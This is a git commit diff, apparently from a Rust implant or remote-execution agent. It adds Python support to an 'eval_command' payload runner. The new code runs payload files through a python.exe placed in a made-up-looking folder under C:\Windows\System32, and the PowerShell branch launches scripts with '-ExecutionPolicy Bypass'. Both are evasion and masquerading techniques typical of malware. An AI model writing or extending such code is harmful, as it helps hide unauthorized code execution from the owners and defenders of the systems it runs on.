feat: python
This commit is contained in:
parent
a208b0d0ce
commit
0b4d668d41
3 changed files with 11 additions and 3 deletions
|
|
@ -100,7 +100,10 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
|
|||
_exec_args = vec!["-ExecutionPolicy".to_string(), "Bypass".to_string(), "-File".to_string(), file_path.clone()];
|
||||
_exec_args.extend(params.args.iter().cloned());
|
||||
}
|
||||
PayloadType::Python => todo!("py payload handling"),
|
||||
PayloadType::Python => {
|
||||
_exec_command = "C:\\Windows\\System32\\ExperienceOrientedReporter\\serialiser\\python.exe".to_string();
|
||||
_exec_args = vec![file_path];
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Handle user vs system execution.
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue